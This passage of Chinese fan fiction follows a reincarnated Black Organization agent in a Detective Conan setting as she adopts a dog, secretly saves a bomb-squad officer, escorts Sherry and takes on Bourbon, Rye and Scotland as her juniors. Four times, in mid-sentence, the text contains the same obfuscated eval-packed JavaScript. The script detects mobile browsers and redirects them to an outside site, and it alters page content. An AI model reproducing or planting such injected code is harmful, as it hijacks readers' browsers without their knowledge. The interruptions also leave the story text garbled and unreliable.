没管我在捣鼓什么,反正我莫名其妙的来去匆匆也不是第一次了,琴酒只继续翻阅他的文件。 我要是真有要紧事的话,肯定会再折回来。 其实我已经想好了要送什么回礼,就在刚刚灵光一闪想到的。 不过现在我得先去接我的小狗,晚点再去采购礼物需要的部件。 作为‘当归苓’的我很长一段时间都在无所事事,因为找不到什么特别想干的事。 于是我只是日复一日地带着相机出门溜达。 就这么过了十几天,我翻看自己拍的照片,突然觉得把职业往摄影师那方面塑造也不错。 我开始在日本自驾游,然后拍了许多许多照片,找到想记录的东西就按下快门。 游历的时候自然也遇到很多有趣的事和人。 我交到了同样爱好拍摄的朋友,跟她们约好一起去采风。 在返回东京的途中,我还在遇到了一只流浪的边牧。我见这小家伙实在可怜,又睁着一双水汪汪的眼睛望着我,我就忍不住把它带去看兽医了,还做出了要领养它的决定。 其实我从上辈子开始就很想养一只宠物,但我一直害怕自己照顾不好它,所以放弃了。 这辈子我想挑战一下,当然肯定不会弃养,只不过出任务的时候可能要找人上门喂食和遛几天。 既然波本打三份工都还有时间养狗,那我肯定也做得到! 今天是我走完了一系列麻烦的流程,能把小狗接回家的那个日子。 为了能让小狗安心入住,我还特意把家里的所有危险物品全都搬出来放到安全屋里了呢。 虽然琴酒的礼物稍微有点打乱我的计划,但还好我赶上了,没有迟到。 刚一见到我,黑白色的小狗就热情地扑到我身上。 “乖孩子乖孩子。”我摸着它的头跟它玩耍了一小会。 “这只小狗目前已经绝育了,身体状态也很健康,不过最好还是每年带她来体检。你第一次养狗可能没经验,要记住小狗是很需要人的陪伴的,尤其边牧需要的运动量不是一般的大,你要记得每天多遛她几次。”兽医操心地跟我唠叨着。 我认真听着,时不时点头。 我当然也做了功课,买了好几本科学养狗建议回家通读了呢。 “你想好给她起什么名字了吗?”我给小狗套上绳,听见兽医这么问起。 “她叫莉莉。”小狗像是清楚了自己的名字,配合地汪了一声。 “莉莉,不错的名字。”兽医揉了揉狗头,“你把她领回家吧。” “好,那就再见了。”我牵着小狗拜别了兽医。 我花了一个月的时间和莉莉初步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293724|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨合了生活节奏。 每天我会带她出门三次,晨跑,散步和夜跑。 经过组织训练的我每回都能把莉莉遛满意,幸好我这辈子是个习惯运动的人。 遛狗的好处其实挺多的,一个月下来我对东京的大路小路都可以说是了如指掌,顺带还能完成日常锻炼,也不会有人怀疑我为什么会出现在那些犄角旮旯的地方。 莉莉不愧于她的品种,真是一只很聪明的小狗,我在训练她的时候收获了不少成就感。 莉莉还很勇敢,有一次琴酒来了,她都敢朝他吠叫,然后咬着我的衣角,一副要我远离这个危险人物的模样。 我被可爱到亲了她好几口,才对她解释道:“不要怕,这是我哥哥,他不会伤害我们的。” 莉莉好像听懂了,但是不太相信,还是处在警戒状态。 “哼,倒是条忠诚的狗。”琴酒这么评价道。 “对呀,所以大哥你千万别误杀她了哦。”我抱起莉莉,抓着她的前爪给琴酒打招呼:“不然我会很伤心的。” 琴酒蹙了蹙眉:“知道了。” “所以你喊我来有什么事?赶快说。”他催促道。 “这个。”我拿起放在鞋柜上的礼盒递给他:“是给大哥的礼物。” 他拆开来看,是一把枪。 我观察着他的表情,照旧看不太出来他是喜欢还是不喜欢:“是我特意组装的哦。” 他收起盒子,没说什么,只是离开前提醒我道:“明晚九点,Neon Helix,组织聚会。” “嗯嗯,大哥到时见。”我再次挥了挥小狗的前爪跟他道别。 目送他的车消失在拐角,我跟系统探讨:“统,你觉得他满意吗?那可是我拼了半个月既实用又有纪念意义的礼物啊。” “没拒收不是已经说明了吗。” “也对。”我开心起来,带着莉莉出门游泳。 次日傍晚,我去赴约,出门前嘱咐道:“莉莉,好好在家睡觉,不要乱跑哦,我估计很晚才会回来。” 小狗依依不舍地趴在玄关,但是很乖地没有追出来。 我到的时候,琴酒已经到了,我特意把自己的车停在了他的旁边。 一银一黑,看上去很有气势。 我推门进入酒吧。 这是组织专门开设的酒吧,作为据点使用,现在已经清场了。 组织聚会这个事是琴酒上任之后才有的规矩,每次集合都意味着他要给我们发布任务或者宣布重大事情了。 我懂,为了钓老鼠而可以设立的规矩嘛。 每次集合他就叫来两三个新人成员或者代号成员预备役,要是集合后据点被端了,他就有怀疑对象了嘛。 不过我感觉这招已经不太好使了,大家都学聪明了,不端据点了。 “麻烦来杯草莓牛奶。”我冲酒保笑道。 “利莱酒,你什么时候这么有礼貌了?”琴酒在旁边喝着他点的Gin,淡淡地道。 我不可置信地扭头看向他:“好过分的指控啊,大哥。人家什么时候没礼貌了嘛——” “不记得了,很多时候吧。”他一副回忆不清楚了的样子。 “大哥,你这是污蔑哦污蔑。”我接过冰冰凉凉的牛奶。 20. 第二十章 “训练营新毕业的。”琴酒指着推门进来的两个人介绍到,“最后一期的人了。” “根据Boss的命令,从今往后取缔训练营,以后那里就是代号成员专属的训练场。”琴酒道来了我早已知晓的前因后果。 我一副才听说的欣喜模样:“那真是太好了!那个训练营早就该毁掉了,那种灭绝人性的地方不该再存在。”越说我越忍不住杀意。 琴酒瞥了我一眼:“收收杀气。”他没附和但也没反驳我的话。 “负责他们的代号考核就是你的新任务。”他下发任务道。 “他们的代号考核是?”我开始盘算着怎么安顿莉莉了。 “杀掉黑熊帮的老大。”琴酒喝完他的那一杯,递来两个文件袋:“你跟着去,他们失败的话就由你来执行任务。” “了解。”我对他说完,又把两个新成员喊过来:“你们自己研究下资料,然后把初步的计划跟时间通过邮件发给我。等我看完后,你们再着手执行。考核当天我会好好观察你们的行动的。” 跟他们交换完邮箱,琴酒已经走了。 没有别的要嘱咐的事,于是我也同他们道别:“没什么事的话,我们就到时见啦。” “我们邮件联系哦。”我挥了挥手机,离开了。 “统,时间过得真快,转眼我都有资历到可以带新人了。”我与系统感叹道。 “确实。” “琴酒也好久没亲自出任务了吧,应该是往正片里的指挥型人才转了吧。”我回忆了下,琴酒上次动手狙人还是在他成为负责人之前。嗯,不出意外的话狙的应该是我,那时我还在跟他玩躲猫猫呢。 “嗯,距离警校组牺牲的第一个人也只剩两年多了。”系统提醒我。 “是啊,我现在还不知道萩原研二要在哪里拆弹呢,营救手法倒是练得差不多了。” * 历时五天,两个新人顺利地通过了他们的代号考核,也不需要我出手。 我把编辑好的任务报告发给琴酒,突然好奇他们会获得什么代号。 “统,他俩的代号是啥?”给新人发放代号的事一直是系统在管,因为我怕我认不出正确的原著人物,导致给出与原著不符的代号。 “是帕林卡和冰岛黑死酒。” “都是没听说过的代号呢。” “嗯,他们没在正片里出现过。” 我点点头,想到组织现在的代号成员审核制度不由得愤愤不平:“以前要获得代号可严苛了,我还得跟琴酒学习一年才能升职呢。现在直接通过考核就有了。” “没办法呀,不放宽点审核怎么把原著人物都顺利招进来呢。”系统无奈地解释道。 “知道了,全是为了一年内就能拿到代号的威士忌三人组对吧。”我气呼呼地带着小狗出门散心去了。 * 光阴似箭,警校组诞生的那一年到来了。 “什么?!大哥你要跟我拆伙去带新人?!”我猛地一拍桌子,不满地叫嚷道。 “利莱酒,冷静一点。”琴酒按着我的肩让我坐下。 “冷静?!大哥你叫我怎么冷静?!我们不是说好当一辈子的搭档永不拆伙的吗!”我直接篡改发言撒泼道,“大哥你怎么能抛弃我去找新人啊!不要不要!这种事绝对不要!” “我没有承诺过一辈子的搭档,不要胡编乱造。”琴酒理智地戳破我的夸大其词,又语重心长地解释缘由:“利莱酒,你成为代号成员也四年了,是时候该去带新人了。” “什么?!大哥你不仅自己带还要我带?!”我摆出一副被背刺的模样:“我知道了!大哥你就是想丢个新人给我好让我多出任务!” 琴酒见我怎么都说不通,冷哼道:“确实,你休闲的日子也过够了吧。” “没过够!怎么可能过得够呢!”我像是不想沾水的猫极力抗拒着。 “这件事就这么定了。”他一锤定音道。 “不!”我表现出极力抗拒的模样:“起码、起码让我自己选顺眼的新搭档。” 琴酒见我退了一步,也不再咄咄逼人:“可以。有新人的时候我会把你叫来的。” “等等大哥!”我喊住传达完通知就要走的琴酒:“你的新搭档是谁啊?难道比我还优秀?不可能!绝对不可能!大哥,你什么时候让我见见你的新搭档?” 可能是感觉到我对那个新人的敌意,琴酒只是敷衍我:“有机会的话,你会见到的。” 看着他的背影,我假哭道:“呜呜,大哥,不要喜新厌旧啊——!要记得你最忠诚的小弟是我!” 琴酒被我哭喊得脚步一顿,回过头有点无奈:“你不是还在我手底下干活吗。” 我瞬间不再装模做样:“啊!大哥没有抛弃我就好!” 其实我们早就不再一起做任务了,只是现在才正式地解除了搭档关系而已。 嗯,因为琴酒都让我自己一个人去出任务了。 哈,每个月都把自己的任务丢给我。 反抗压榨了,但没完全反抗成功,哭哭。 * 十一月七日。 我早早地起床,先满足了莉莉一天的活动需求,以免下午没时间去救人。 我带着收音机在警署附近蹲点。 下午两点,我终于听到了有关炸弹的报道。 我开着车,远远缀在警察后面,顺着系统的指引来到了浅井别墅区。 “统,要不是你跟我说了,我估计就开到松田阵平的拆弹地点去了。”我下车后在附近无人的小巷启动Trigger。 凭着Chamelion,我如入无人之境地潜进拆弹现场。 眼见他们还在搜寻所有埋了炸弹的地点,我便先仔细勘察地形——这附近的几户人家都已经被警察疏散了,炸弹爆炸的话基本不会伤到谁。 所以炸弹犯是藏在哪引爆的呢? 我爬上房顶,四处张望着,可惜没发现可疑的人影。 “怎么办,统,我好像四年后还得再来救他们一次。”我翻进正在拆弹的那一层,苦恼地道。 “你不是都想好松田阵平的营救方案了吗?” “万一我救下萩原研二,反而导致剧情往不好的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293725|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向改变了呢。”我看着一群围在炸弹面前的警察,完全够不到。 “先不说这个,失算了,统。”我凝重地道:“我现在一一打晕他们可行吗……” “像多米诺骨牌一样接连倒下绝对会暴露吧。”系统让我放弃不现实的方案。 “那用催眠瓦斯吧。”我把催眠瓦斯悄悄放在柱子后面,然后守在窗户旁边。 “幸好全程用Grashopper的预案我也准备了。”我计算好炸弹应该飞的路途,准备在预定的地点展开淡蓝色的跳台,不过这也意味着我无法继续使用Chamelion。 “犯人似乎还投放了催眠瓦斯!”有警察察觉到了异常,捂住口鼻从炸弹旁边走开了些。 我望着离炸弹最近的萩原研二摇摇晃晃快要睡着的样子,不由得庆幸他没穿防弹服。 真穿了,催眠瓦斯发挥得就没那么快了。 其它拆弹警察连忙去扶住他们的拆弹主力,趁他们散开,我立刻换上Bagworm,借用斗篷遮住我的身形和脸,旋即展开Grashopper。 就像第二部森林冰火人里可以被调整的光路一样,炸弹被直直弹起后,在某个高度触到触到了垂直的跳台,往窗户方向弹射。我提前打开窗户,纵身跳出去,在它的下方又开了个跳台,保证它会在足够的高度爆炸。 我借着Grashopper落在附近的墙檐上,听见有人大喊:“喂!什么人!” “砰!”炸弹像是一朵烟花般炸开,万幸这次没伤到任何人。 我抓住机会迅速从墙上翻下,切换回Chamelion飞快逃跑。 “统,真是一场失败至极的匿名救人活动啊。”我开车远离了现场后,挫败地复盘道。 “没关系的,他们没看到你的脸。” “统,下次救松田阵平的时候直接给我的Trion体换个建模吧。”我打算从根本上模糊自己的身份。 幸运的是,我似乎不用再费心思去踢松田阵平的便当了。 我看着电视上播报的炸弹案犯人已被抓捕归案的播报和被释出的嫌犯照片,没完全放轻松地问系统:“统,日本会给他判多久的刑?” “他这算杀人未遂,可能十几年吧。”系统不确定地道。 “保险起见,我想办法把这个危险给排除了吧。”我摸着下巴思考道。 系统觉得我有点无所不用其极了:“你要在众多警察的包围下想办法杀掉他吗?” “不啊。”我感觉系统在妖魔化我了,“我也没勇敢到这么挑衅警察啊。” “我只是在想能不能在把人送去监狱的途中给杀了。” “这也没好到哪儿去吧。放弃这个想法吧,他不会再出来害人了。”系统劝道。 “好吧。”我耸了耸肩。 播报完嫌犯落网的新闻,接着的居然是寻找当日出现在浅井别墅区的可疑人! 我盯着电视上穿着一件灰色斗篷勉强能看出人影的手绘,有些后悔自己为了图方便没做伪装就去了。 “怎么办?”系统问道。 “装死吧。” 21. 第二十一章 “摩西摩西?欧尼酱?”我接起来自琴酒的电话:“有什么事吗?” “你今天有空吗?”听出我身边有人,他平常地问道。 “嗯,可能有?”一听就是要给我发任务,我决定看心情接。 “今晚凌晨两点,雪莉的飞机降落在成田国际机场,你去帮我接她,安全送到研究所里。” “哦——这样啊。”我故作沉吟后,接下了这个跑腿任务:“好吧,我会做的。” 我一答应,琴酒立刻冷酷无情地挂了电话。 跟我坐在一起的朋友是在某次遛狗时遇见的,我家莉莉和她家的德牧椰子成了好朋友,于是我们偶尔也会一起带狗狗来游泳。 我刚收起手机,她就以一副发现了新事实的好奇表情说:“诶——原来你有哥哥吗?我还从来没听你提起过呢。” “嗯,因为哥哥他一直在国外留学,我们也不常见面。”我不好意思地挠头道。 “可是你们的感情听起来还不错。” “嗯,毕竟我们是失去家长后从小互相扶持着长大的……”我暗示着自己的悲惨身世转移话题到。 她瞬间露出愧疚的表情:“抱歉,提起你的伤心事了。” 我摇摇头示意没事,她果然不再询问我的家庭背景。 让小狗玩痛快了之后,我们又去聚餐,直到傍晚时分才分开。 回家把莉莉安顿好,我正打算出门去接雪莉,但又想起自己不该认识雪莉。 我一个电话拨给琴酒:“大哥,雪莉是谁?长什么样?我怎么才能联系上她?你有跟她描述过我的相貌吗?” “组织的重要研究员,是个13岁的小女孩。一会给你发她的手机号,她应该知道你的长相。”琴酒有条不紊地回答我的问题轰炸。 “诶——大哥你居然了解得这么清楚?难道不在日本的这半年去当小女孩的监护人了?” “没别的问题我就挂了。”琴酒没有正面回答。 “欸等等!”我阻止了他挂断。 “说。” 我露出一个邪恶的笑:“你真的没有把小女孩吓哭吗——” 耳边只回荡着‘嘟嘟嘟’的挂断音。 琴酒肯定是因为被我说中了才恼羞成怒,我自信地想到。 我到机场的时间卡得刚刚好,雪莉的飞机才降落,我坐在等候的椅子上简单编辑了个让她来找我的短信,就拿帽子盖住脸假寐了。 大半夜的喊人跑腿,琴酒还真是一如既往地会压榨人。 “利莱大人。”我戴好帽子,看着一个女人牵着一个茶发的小女孩走过来。 “你就是雪莉?”我往前倾,端详着她的脸。 雪莉害怕地躲到那个外围成员的身后。 我笑了笑:“辛苦你了,把她交给我吧。”我伸出手,等着雪莉来牵。 那个外围成员安抚了雪莉几句才让她主动把手放进我的手心:“那么,雪莉大人就交给您了,利莱大人。” “嗯嗯,放心交给我吧。回家的路上注意安全哦。” 我给雪莉拍了张照,然后发给琴酒,附文【人在我手上】。 琴酒只发了个句号表示已读。 我撇撇嘴,一手牵着雪莉,一手拖着雪莉的行李箱。 “说起来,雪莉,你那么害怕干嘛?”我笑眯眯地问。 这孩子可真紧张,手心出了好多汗。 我自认慈眉善目,从接到手就一句重话都没说过,所以她一副被吓狠了的样子只可能是因为琴酒造我的谣! 我理所当然地想。 “琴酒是不是给你说了很多我的坏话?”见她不回答,我又问。 说起琴酒,她身体明显抖了一抖。 哇,琴酒,你到底对小孩做了什么,让她光听见你的名字就如此恐惧。 “琴酒说……”她怯怯地瞟了我一眼:“说你是个杀人不眨眼的、穷凶极恶的家伙,让我乖乖听你的话,不要惹你生气。” “诶——原来在琴酒眼里我是这么个形象。”我试图洗白自己的形象:“别听琴酒污蔑我,我很好相处的哦,才不会一言不合就拔枪呢。” 是错觉吗?洗白的话语好像起反作用了,孩子抖得更厉害了。 我百思不得其解地把她的行李放进后备箱,又把人塞进副驾驶。 “你饿了吗?要不要给你买点东西吃?”虽然是这么问,可其实肚子饿的人是我。 “我不饿。”雪莉只是一味拒绝。 “那就我饿了。”我不由分说地停到便利店旁边:“你不说自己喜欢什么我就随便给你带了?” 雪莉偏过头去不看我,似乎对我一意孤行的行为很不满意。 这小孩逗起来怎么没意思呢,我咬了口饭团,惆怅地想。 【雪莉一点都不好玩。】 【研究员不是让你玩的。】 顿感无趣的我没再继续和雪莉搭话。 把人送到位置,又把买来的饭团强塞给她后,我驱车回家。 一进卧室,莉莉就热情地扑到我身上,委屈地嘤嘤汪汪似乎是在控诉我这么晚才回来。 “好孩子好孩子。”我一把抱住她,亲着她的头。 小狗治愈世界! 我心情颇好地躺上床:“好好睡觉啦,莉莉。” * 【八点在老地方集合,来新人了。】 我刚遛完狗就接到了琴酒的通知。 “算一算,这回的新人应该是苏格兰他们了吧。” 一想到终于要跟原著的重要人物见面,我不免激动,比以往早到了许多。 然后我就发现来太早会很无聊。 我闲得和酒保玩起来了扑克牌。 “没事干吗,利莱酒,我有的是任务可以给你。”琴酒打断了我们的牌局道。 “大哥,你终于来了啊。”我把赢不了的牌一摊。 “今天来的三个新人由你进行初期监视。”琴酒开始安排。 “不是二十四小时的那种监视吧?”我露出不情愿的表情:“我还得照顾莉莉呢。” “再说了,这么明显的高强度监视只会让他们绷紧神经。不然我偶尔去突击检查就够了?”我试着给自己减轻任务强度。 “最初就是这么打算的。”琴酒让调酒师给他来一杯经常的酒。 “那行。”我一口闷了自己的哈密瓜牛奶,答应下来。 “你一会试探一下他们。还有,别忘了选搭档。” “说起搭档,伏特加今天没跟来吗?”我后知后觉琴酒身边好像缺了什么。 琴酒瞥我一眼,一副我是罪魁祸首的样子:“别老逗伏特加。” “呀,难得有这么个老实人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293726|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”我屈指弹了弹杯子,“他的反应,可有意思了。” 琴酒看了一眼手机提醒我道:“快到约定的时间了。” 我依言起身去洗手间变装成Trion体,接下来的试探可危险了。 当我回来时,酒吧里已经多了三个人:黑色长发针织帽,留了胡子的人和金发黑皮。 我一个箭步冲到长发男子面前抓住他的手问:“虽然很冒昧,但是请问我可以给你编几个好看的辫子吗?” 我像是背后长眼一般拉着他一个错步躲过琴酒的子弹。 “利莱酒,别惹我生气。”琴酒愠怒的声音传来。 啊啊,他还在为我当时给他扎辫子的事情生气。 我无辜地回到:“我没有啊,大哥。” “可以松开我吗?”黑麦已经在使劲挣开我了,奈何我实在握得很紧。 “为什么?你要拒绝我的请求吗?”我作出一副伤心欲绝的模样。 “因为我女朋友会吃醋的。”他坐下来说道。 我大惊失色地后撤一步,触电般地放开他:“什么?!你有女朋友?!” “大哥!我们组织原来是允许谈恋爱的吗!”我震惊地朝琴酒求证。 琴酒没理我,介绍到:“他叫诸星大,代号黑麦,女朋友是宫野明美所以加入了组织。” “哦哦,宫野啊,雪莉的姐姐?”我盯着黑麦的一头长发说道,然后眼神犀利起来:“还是说这家伙是个对未成年下手的人渣?” “明美今年二十岁。”黑麦为自己澄清道。 “刚才你拒绝我的理由是明美酱会吃醋对吧?”我还是不肯放弃给黑麦扎辫子的诱惑,一副好哥们的样子靠过来:“那你这样跟她说——” “利莱酒威胁你,如果你不把头发给她编的话,她就杀了你。”我把枪口顶住黑麦的针织帽,“这样的理由应该不会让她生气了吧?” 黑麦几乎是在我掏枪的下一秒就做出了反应,他也拿枪抵住了我的胸口。 “诶——同归于尽?也不错。”我毫不在意身前的枪口,有那么一瞬间是真的有扣下扳机的冲动。 “看在你那么有胆识的份上,我可以给你陪葬哦。”我凑近到可以看清他墨绿色瞳孔的距离低语道。 “够了,利莱酒。”琴酒叫停了这场无声的战争。 我最后望了眼他平静无波的眼睛,撇了撇嘴,直起身来,“既然大哥这么说。” 我转着枪,退回正常的社交距离。 “琴酒,这是什么意思?我可不知道代号成员之间允许互相残杀?”波本吊儿郎当地问。 “嘛,不用太在意。把利莱酒当神经病处理就好。”琴酒冷酷地给我按了个精神不正常的名头。 “大哥——!好过分!”我以喊欧尼酱的音调控诉道。 “怎么?你不是都有前科了?” 我扭扭捏捏地道:“那个是误杀啦,误杀。我以为他有能力躲过去的。” 我摊了摊手,一副无奈的样子:“从结果来看,他没有被培养的价值哦。这种程度都做不到的话,当了代号成员也很快就会死掉嘛,还不如让我提前帮他解脱掉。” 其实是我看不过他虐杀的行径,随意找了个由头下黑手干掉了而已。 欸嘿。 “就是这样。所以和利莱酒相处,记得生死自负。” 22. 第二十二章 “那么,下一个是苏格兰。名字叫绿川光,作为优秀的狙击手拿到了代号。”琴酒继续介绍到。 “哦——”我摸着下巴,怎么看苏格兰怎么不顺眼。 我望着噙着笑的苏格兰,直抒胸臆:“苏格兰,不介意的话我帮你把胡子剃了吧。” “这个胡子大幅度地拉低了你的颜值。”我远远地抬手比划着遮住苏格兰的下巴,嗯,没有胡子帅气多了。 “不用了,我很满意自己的胡子。”苏格兰婉拒道。 “啊啦,残念。”我可惜道。 “最后是波本,安室透,是情报组的成员。” “情报组?那不是该去朗姆手下吗?”我疑惑道,“来我们行动组干嘛?” “我跟朗姆借调过来的,执行任务时由他负责情报,平衡一下。”琴酒解释道,然后看了我一眼:“你又不喜欢去搜集情报。” “这倒是。那情报工作就全权交给波本啦。”我愉快地道:“情报有任何错漏也第一个找波本问责啦。” “这么随便给我安罪名的话,我就回情报组了。”波本不踩这个坑。 “诶呀,只是开玩笑而已啦,开玩笑。波本你不要这么认真嘛——”为了未来不亲自去打探情报,我连忙收回不恰当的话。 “这个玩笑可不好笑。”波本冷淡地道。 “啊——知道了知道了。”我放下我的牛奶,吐了吐舌:“抱歉了啦。” “利莱酒,真怂。”琴酒批评道。 “呜,谁叫他要一个人养活我们三个人嘛,识时务也是很重要的呢。”我委婉地表达了对于搜集情报这件事的不喜。 “养活三个人?”波本疑惑地挑了挑眉:“意思是我们四个人要一起行动?” “没错哦!”我一拍掌,笑眯眯地说:“未来一年你们都在我的监管下哦。” 三人不约而同地露出了一些具有负面意义的表情。 “什么嘛——对你们的前辈有什么不满吗!”我质问道。 “我可不想要一个一言不合就拔枪的前辈。”波本最先讽刺道。 “又不是只有我一个人这样!”我立即反驳:“大哥不也是这样的吗!你是在对大哥的做事方法不满吗?”我起手一个大帽子扣上去。 波本似笑非笑地道:“是有点呢。” 哇哦。我吹了个口哨:“赞叹你的勇气!我宣布你比黑麦更勇敢!” “感谢你的褒奖,但我不需要。”波本瞥了眼沉默的黑麦。 “嗤。”琴酒不屑地哼了一声,根本不参与我们的话题:“如她所说。一年内出什么事优先去找利莱酒。”我生气地又把牛奶一口闷,天天就知道给我挖坑! “还有,她会在你们中间选一个人成为搭档。” “我们有拒绝权吗?”波本张口就针对我。 “没有。”琴酒直接驳回。 我气呼呼地道:“我也绝对不会选你的,波本!” “那我还真要感谢你。”这人怎么老跟我呛呢! “黑麦也pass。”我懒得处理有关伦理道德的纠纷,“就选苏格兰了。” 安分守己的苏格兰不知道战火怎么就烧到了他身上,还一脸茫然地确认:“我?” “没错,恭喜你成为我的新搭档。”我皮笑肉不笑地道。 “好吧。那么,请多指教。”苏格兰很快接受事实,仿佛真把我当公司前辈一般寒暄。 “啊……嗯。”太正常人了,给我整不会了。 “黑衣组织里出现正常人才是最不正常的事吧。”系统适时吐槽道。 我恍然大悟,肃然起敬,苏格兰这种人设才是最像变态的。 “利莱酒,你果然会选他。” “诶?大哥你本来也是要给我推荐苏格兰的吗?”我好奇地道。 “嗯。你问问他的特长。”琴酒给我附赠了小道消息。 “苏格兰酱,你有什么特长啊?”我自顾自地改了称呼。 “唔……特长的话,厨艺?”苏格兰一副这算特长吗的犹豫模样。 我眼睛一亮,激动地跟他握手:“真的?请务必让我尝尝你的手艺!” 我顺理成章地改变了对苏格兰的态度。 “那么,波本和黑麦自动成为搭档。”琴酒宣布道。 与我们这边的其乐融融不同,波本几乎是立刻就炸了:“我才不要和黑麦组队!” “我也一样。”黑麦看向琴酒:“但我们没有拒绝的权力,对吗?” “是。你们住同一个安全屋,米花町二丁目XXX。”琴酒掏出一把钥匙抛给中立的苏格兰,又对着我说:“利莱酒,接下来就交给你了。” “好的,大哥!”我冲着他的背影挥手:“拜拜,大哥。” “那么,属于新人的聚会就此结束。我也该回家了。”我伸了个懒腰,“你们也去那个安全屋看看吧,明天我会去给你们发布任务的。” “我们必须得住一起吗?”波本盯着黑麦,满脸不情愿地争取。 “对哦。抗议无效哦。”我用手臂比了个叉,“还有别的事吗?没有的话我们就明天见。” “啊,利莱酒你明天要不要来和我们吃早餐?”苏格兰提议道。 “可以吗!”我光速答应下来:“那我就打扰啦。”我对苏格兰的好感蹭蹭地涨。 没错,收买我就是这么容易。 * 我满怀感激地吃着苏格兰提供的美味早餐,果然不负盛名。 我坚定了要救济苏格兰的想法,绝不可以让这么伟大的厨师消失在这个世界上! 饭后,我把三人都喊来餐桌边:“接下来我公布一下我的工作准则。” 我竖起一个手指头:“第一,我是个讨厌工作的人,每两个月才会出一次任务。己所不欲,勿施于人,我每个月只会给你们一人发一个任务。一个月内你们将任务完成,然后把任务报告发给我就行。其余时候你们爱干嘛干嘛。” “要是闲不下来的话,可以去找琴酒大哥,”我瞥了眼波本,补充道:“或者朗姆,要更多的任务。” “哦?我倒不知道组织成员那么轻松?”波本眯了眯眼:“你不会是故意不给我们发任务,然后向上面举报我们态度消极的人吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293727|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我翻了个白眼:“我有那工夫不如多花点时间在自己的生活上。” “怎么?难道你还有别的工作要做?”波本随时都在打探消息。 “跟你没关系吧。”我懒得接他的茬。 “我们去接别的任务,你完全不会阻拦对吗?”黑麦确认道。 “嗯嗯,你们想往上爬那就去呗。”我继续未竟的话:“第二,不要在任务期间杀害无辜的人,惹出不必要的事端妨碍任务。” “利莱酒,看不出你是个这么善良的人啊。”波本阴阳怪气道。 我权当没听出他的讽刺,认下这个名头:“对啊,我人美心善,平日里还会见义勇为呢。”为此我都成警局的常客了。 柯南元年之前米花町居然也这么乱是我没想到的,不过我目前还没遇到过凶杀案,都还只是些小打小闹。 “这么仁慈——你不会是叛徒吧?”波本怀疑道。 “你大可以上报给琴酒大哥试试。”我毫不在意地道:“看看他是信你还是信我。” “诶——” 我收回手:“第三,没有大事不要来找我。发生了什么事我会来找你们的。” “以上。还有什么疑问吗?” 苏格兰举手示意:“作为搭档,我能主动联系你吗?” “当然!搭档是有优待的,随时联系我都可以哦。”我对大厨无比宽容,“邀请我来吃东西也是可以的哦。”我舔了舔嘴,一副绝对没有私心的样子说道。 “你是什么容易被食物收买的小孩子吗?”波本看不过眼,吐槽道。 “嘛,你可以这样理解。”我不以为耻。 “没别的问题我就下发本月的任务啦。”我扫过三个人的脸,分别在他们面前放了一个文件袋。 等他们读完,我起身告别:“苏格兰酱,感谢你的款待啦。” “下次见啦,我会不定期过来看看你们的情况的。绝对不会把你们忘在脑后的。”我摆摆手道:“记得好好做任务哦。” 这么说着的我,乐不思蜀地带莉莉出去自驾游了一个多月后才想起威士忌组。 琴酒打电话过来责问我到底是怎么执行监视任务的时候,我刚撬开他们安全屋的门。 我用肩夹着手机道:“诶呀,大哥,别生气嘛,我这不就在做任务了?” 琴酒只是无情地挂掉电话。 我收起手机,打开了他们家的电视。 我都知道谜底了,实在是懒得认真对待这个任务啊。 我打了个哈欠,躺在沙发上看动画片。 傍晚时分,三个人陆续回到安全屋。 进门的第一反应就是拿枪搜查。 果然撬锁的痕迹太明显了吗,我懒洋洋地跟他们解释是我做的。 “为什么特意撬锁?”波本咄咄逼人地问。 我摊了摊手:“因为我没有钥匙啊。” “所以你突然造访是为了什么?”波本双手抱胸,睥睨坐在沙发上的我:“一个多月都没管过我们的利莱酒大人?” “这还用问?”我拿看傻子的表情看他:“当然是发新任务啦。” 23. 第二十三章 “这次任务由我们四个人配合完成。”我直起身子,显得正式了点说道。 “哦?什么任务要出动堂堂利莱酒大人啊?”波本可爱挤兑人。 